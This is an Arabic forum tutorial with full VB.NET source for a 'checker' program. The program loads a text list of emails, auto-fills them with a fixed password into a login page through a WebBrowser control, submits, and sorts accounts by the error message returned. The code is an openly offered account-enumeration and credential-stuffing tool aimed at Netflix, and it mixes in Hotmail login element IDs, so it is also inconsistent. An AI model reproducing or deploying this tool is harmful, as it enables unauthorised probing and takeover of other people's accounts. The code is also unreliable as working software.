[كود] صنع برنمج فحص - نسخة قابلة للطباعة

السلام عليكم ورحمت الله وبركتوه

ا=
شرح عن صنع برنمج فحص متحان نت فيلكس
بس اولن صلي علي النبيّّّّّّّّّّّّّّّّّّّّّّ
-----------------------------------------
اولان نحتاج ادوات
وهي كا التالي
(ListBox3)
(Button3)
(Timer2)
(WebBrowser1)
(TextBox1)
--------------------------
اولن نسمي بوتنو1 ب اسم Add List
وهو المسؤل ب اضافاه ال لستات الموجود فيها المتحات
---------------------------------
ثاني زر نسميهStart
-----------------------------------------
و الثالثStop
----------------------------------
ونكتب جو ال WebBrowser1 اسم الموقع المطلوب فحص متحاتو زي كد
https://www.netflix.com/
------------------------------------------
ونضغط علي تايمر 2
هنلاقي جمله اسمهاlnterval
وجمبها رقم 100او1000
احنا نخليه بدل 100او1000نخليه 2000
و تايمر1 نخليها فيه 100
------------------------------------------------------
وقت اضافه ال اكود
اولان نبدا ب كود تايمر1 وهو كا التالي

كود :

   On Error Resume Next

        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _

          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then

            Timer1.Stop()

            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)

            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText

            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText

            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText

                Case "أدخل"

                    ListBox2.Items.Add(ListBox1.SelectedItem)

                    TextBox1.Text = Nothing

                Case "لاينتمي الاميل الئ اي حساب"

                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")

                    TextBox1.Text = Nothing

                Case "خطا في التسجيل"

                    TextBox1.Text = Nothing

            End Select

            WebBrowser1.Navigate("netflix.com")

            ListBox1.SelectedIndex += 1

        End If

و الان كود تايمر2

كود :

   Try

            Dim i As Integer

            i = ListBox1.SelectedIndex

            i = i + 1

            If i > ListBox1.Items.Count - 1 Then i = 0

            ListBox1.SelectedIndex = i

        Catch ex As Exception

        End Try

و الان كود Add List

كود :

Dim Hussaien_Ahmed As New OpenFileDialog

        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"

        Hussaien_Ahmed.Title = "File txt"

        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then

            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)

            ListBox1.Items.AddRange(lines)

        End If

والان كود Imports او الفضاء وهو

كود :

Imports System.IO

Imports System.Net 

و الان كود Start

كود :

Timer1.Start()

        Timer2.Start() 

و اخر كود وهو كود Stop

كود :

Timer1.Stop()

        Timer2.Stop() 

ودي ال اكود ب الكامل لو عيز تمسح كل ال اكود و تحطها

كود :

Imports System.IO

Imports System.Net

Public Class Form1

    Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged

        If WebBrowser1.ReadyState = WebBrowserReadyState.Complete Then

            On Error Resume Next

            For Each ALI As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")

                If ALI.GetAttribute("type") = "text" Then

                    ALI.InnerText = ListBox2.SelectedItem

                End If

            Next

            For Each A As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")

                If A.GetAttribute("type") = "password" Then

                    A.InnerText = "232DSWE2W"

                End If

            Next

            WebBrowser1.Document.GetElementById("login").InvokeMember("Click")

            Timer1.Start()

        End If

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        On Error Resume Next

        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _

          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then

            Timer1.Stop()

            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)

            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText

            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText

            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText

                Case "أدخل"

                    ListBox2.Items.Add(ListBox1.SelectedItem)

                    TextBox1.Text = Nothing

                Case "لاينتمي الاميل الئ اي حساب"

                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")

                    TextBox1.Text = Nothing

                Case "خطا في التسجيل"

                    TextBox1.Text = Nothing

            End Select

            WebBrowser1.Navigate("netflix.com")

            ListBox1.SelectedIndex += 1

        End If

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

        Try

            Dim i As Integer

            i = ListBox1.SelectedIndex

            i = i + 1

            If i > ListBox1.Items.Count - 1 Then i = 0

            ListBox1.SelectedIndex = i

        Catch ex As Exception

        End Try

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Dim Hussaien_Ahmed As New OpenFileDialog

        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"

        Hussaien_Ahmed.Title = "File txt"

        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then

            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)

            ListBox1.Items.AddRange(lines)

        End If

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        Timer1.Start()

        Timer2.Start()

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

        Timer1.Stop()

        Timer2.Stop()

    End Sub

End Class

صلي علي النبي